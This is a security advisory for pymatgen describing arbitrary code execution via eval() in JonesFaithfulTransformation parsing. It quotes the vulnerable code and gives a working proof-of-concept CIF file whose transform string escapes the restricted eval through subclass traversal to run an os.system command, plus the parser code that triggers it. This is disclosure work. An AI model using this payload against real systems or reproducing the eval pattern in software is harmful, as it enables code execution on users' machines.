GHSA-vgv8-5cpj-qj2f pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

• PyPI pymatgen: < 2024.2.20 → fixed in 2024.2.20

Summary A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file. Details The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of `eval()`. Vulnerable code ```py basis_change = [ re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X) for string in basis_change ] """snip""" ([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change]) ``` The use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal. PoC The vulnerability can be exploited as follows: Create a file `vuln.cif` with the following contents: ``` data_5yOhtAoR _audit_creation_date 2018-06-08 _audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit" loop_ _parent_propagation_vector.id _parent_propagation_vector.kxkykz k1 [0 0 0] _space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0' _space_group_magn.number_BNS 62.448 _space_group_magn.name_BNS "P n' m a' " ``` Then, parse the cif file with the following code: ```py from pymatgen.io.cif import CifParser parser = CifParser("vuln.cif") structure = parser.parse_structures() ``` Credits This vulnerability was found and disclosed by William Khem-Marquez.